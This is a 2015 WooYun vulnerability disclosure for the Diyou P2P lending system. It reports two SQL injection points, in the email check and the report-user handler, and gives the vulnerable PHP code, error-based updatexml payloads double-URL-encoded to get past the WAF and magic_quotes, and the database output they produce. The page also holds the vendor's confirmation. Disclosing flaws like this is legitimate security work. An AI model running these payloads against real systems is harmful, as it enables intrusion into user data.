漏洞概要
关注数(4 )
关注此漏洞
漏洞标题: 帝友P2P借货系统两处处注入(版本限制)
提交时间: 2015-10-23 12:39
公开时间: 2015-12-17 14:48
漏洞类型: SQL注射漏洞
危害等级: 高
自评Rank: 20
漏洞状态:
厂商已经确认
Tags标签:
无
漏洞详情
披露状态:
2015-10-23: 细节已通知厂商并且等待厂商处理中
2015-10-27: 厂商已经确认,细节仅向厂商公开
2015-10-30: 细节向第三方安全合作伙伴开放(绿盟科技 、唐朝安全巡航 、无声信息 )
2015-12-21: 细节向核心白帽子及相关领域专家公开
2015-12-31: 细节向普通白帽子公开
2016-01-10: 细节向实习白帽子公开
2015-12-17: 细节向公众公开
简要描述:
由于url编码所以可以无视waf和gpc
详细说明:
因为帝友有段代码是这样的
code 区域 function safe_str($str){
if(!get_magic_quotes_gpc()) {
if( is_array($str) ) {
foreach($str as $key => $value) {
$str[$key] = safe_str($value);
}
}else{
$str = addslashes($str);
}
}
return $str;
如果没打开gpc就进行转义,但是由于我们这个漏洞会被编码所以不需要考虑gpc的问题
PS:我就本地测试吧,我在本地打开gpc
--------------------------------------------------------
第一处在modules\member\index.php中
code 区域 # 检查邮箱是否被注册 elseif ($_U['query_sort'] == 'check_email'){ $result = usersClass::GetUsers(array("email"=>urldecode($_REQUEST['email']))); if ($result == ""){ echo "1"; }else{ echo "0"; } }
urldecode($_REQUEST['email']可以看到这里被解码了 所以可以无视waf/360webscan 跟踪下usersClass::GetUsers
code 区域 function GetUsers($data = array()){ global $mysql; $_sql = " where 1=1 "; //判断用户id if (IsExiest($data['user_id']) != false){ $_sql .= " and p1.`user_id` = '{$data['user_id']}'"; } //判断是否搜索用户名 elseif (IsExiest($data['username']) != false && IsExiest($data['email']) != false){ $_sql .= " and p1.`username` = '{$data['username']}' and p1.`email` = '{$data['email']}' "; } //判断是否搜索用户名 elseif (IsExiest($data['username']) != false){ $_sql .= " and p1.`username` = '{$data['username']}'"; } //判断是否搜索邮箱 elseif (IsExiest($data['email']) != false){ $_sql .= " and p1.`email` = '{$data['email']}'"; }
可以看到带入数据库了 我们来测试下 提交:**.**.**.**/?user post:q=check_email&email=0%2527 or updatexml(1,concat(0x7e,(version())),0) or %2527
code 区域 XPATH syntax error: '~5.1.28-rc-community'执行SQL语句错误!select * from `yyd_users` as p1 where 1=1 and p1.`email` = '0' or updatexml(1,concat(0x7e,(version())),0) or ''
ps:这里只给出简单的语句测试,正常需要把全部字符都编码才可以
第二处在/modules/users/users.inc.php中
code 区域 //举报 elseif ($_U['query_type'] == "addrebut"){ if (isset($_POST['contents'])){ $data['type_id'] = $_POST['type_id']; $data['contents'] = nl2br($_POST['contents']); $data['rebut_userid'] = $_POST['rebut_userid']; $data['user_id'] = $_G['user_id']; $result = usersClass::AddRebut($data); if ($result==false){ $msg = array($result,"",""); }else{ $msg = array("感谢你的举报,我们将第一时间做出处理","",""); } }else{ $result = usersClass::GetUsers(array("username"=>urldecode($_REQUEST['username'])));
可以看到$result = usersClass::GetUsers(array("username"=>urldecode($_REQUEST['username']))); 被url解码了,所以可以(无视waf/360webscan) 提交http://**.**.**.**/?user&q=code/users/addrebut post:username=0%2527 or updatexml(1,concat(0x7e,(version())),0) or %2527
code 区域 XPATH syntax error: '~5.1.28-rc-community'执行SQL语句错误!select * from `yyd_users` as p1 where 1=1 and p1.`username` = '0' or updatexml(1,concat(0x7e,(version())),0) or ''
漏洞证明:
因为帝友有段代码是这样的
code 区域 function safe_str($str){
if(!get_magic_quotes_gpc()) {
if( is_array($str) ) {
foreach($str as $key => $value) {
$str[$key] = safe_str($value);
}
}else{
$str = addslashes($str);
}
}
return $str;
如果没打开gpc就进行转义,但是由于我们这个漏洞会被编码所以不需要考虑gpc的问题
PS:我就本地测试吧,我在本地打开gpc
--------------------------------------------------------
第一处在modules\member\index.php中
code 区域 # 检查邮箱是否被注册 elseif ($_U['query_sort'] == 'check_email'){ $result = usersClass::GetUsers(array("email"=>urldecode($_REQUEST['email']))); if ($result == ""){ echo "1"; }else{ echo "0"; } }
urldecode($_REQUEST['email']可以看到这里被解码了 所以可以无视waf/360webscan 跟踪下usersClass::GetUsers
code 区域 function GetUsers($data = array()){ global $mysql; $_sql = " where 1=1 "; //判断用户id if (IsExiest($data['user_id']) != false){ $_sql .= " and p1.`user_id` = '{$data['user_id']}'"; } //判断是否搜索用户名 elseif (IsExiest($data['username']) != false && IsExiest($data['email']) != false){ $_sql .= " and p1.`username` = '{$data['username']}' and p1.`email` = '{$data['email']}' "; } //判断是否搜索用户名 elseif (IsExiest($data['username']) != false){ $_sql .= " and p1.`username` = '{$data['username']}'"; } //判断是否搜索邮箱 elseif (IsExiest($data['email']) != false){ $_sql .= " and p1.`email` = '{$data['email']}'"; }
可以看到带入数据库了 我们来测试下 提交:**.**.**.**/?user post:q=check_email&email=0%2527 or updatexml(1,concat(0x7e,(version())),0) or %2527
code 区域 XPATH syntax error: '~5.1.28-rc-community'执行SQL语句错误!select * from `yyd_users` as p1 where 1=1 and p1.`email` = '0' or updatexml(1,concat(0x7e,(version())),0) or ''
ps:这里只给出简单的语句测试,正常需要把全部字符都编码才可以
第二处在/modules/users/users.inc.php中
code 区域 //举报 elseif ($_U['query_type'] == "addrebut"){ if (isset($_POST['contents'])){ $data['type_id'] = $_POST['type_id']; $data['contents'] = nl2br($_POST['contents']); $data['rebut_userid'] = $_POST['rebut_userid']; $data['user_id'] = $_G['user_id']; $result = usersClass::AddRebut($data); if ($result==false){ $msg = array($result,"",""); }else{ $msg = array("感谢你的举报,我们将第一时间做出处理","",""); } }else{ $result = usersClass::GetUsers(array("username"=>urldecode($_REQUEST['username'])));
可以看到$result = usersClass::GetUsers(array("username"=>urldecode($_REQUEST['username']))); 被url解码了,所以可以(无视waf/360webscan) 提交http://**.**.**.**/?user&q=code/users/addrebut post:username=0%2527 or updatexml(1,concat(0x7e,(version())),0) or %2527
code 区域 XPATH syntax error: '~5.1.28-rc-community'执行SQL语句错误!select * from `yyd_users` as p1 where 1=1 and p1.`username` = '0' or updatexml(1,concat(0x7e,(version())),0) or ''
修复方案:
版权声明:转载请注明来源 Xser @乌云
漏洞回应
厂商回应:
危害等级:高
漏洞Rank:10
确认时间:2015-10-27 14:31
厂商回复:
感谢您对漏洞的提交,经技术部门核实,在我司V3老版本的系统上,确实有部分平台存在该漏洞,感谢您的关注,也欢迎您关注我们新版的V4,V5。
最新状态:
暂无
漏洞评价:
对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值
漏洞评价(共0 人评价) :
评价
2015-10-23 16:37 |
不能忍
( 普通白帽子 |
Rank:113 漏洞数:51 | 要是能重来,我要选李白!)
0
你关注的大牛 Xser 发表了漏洞 帝友P2P借货系统两处处注入(版本限制)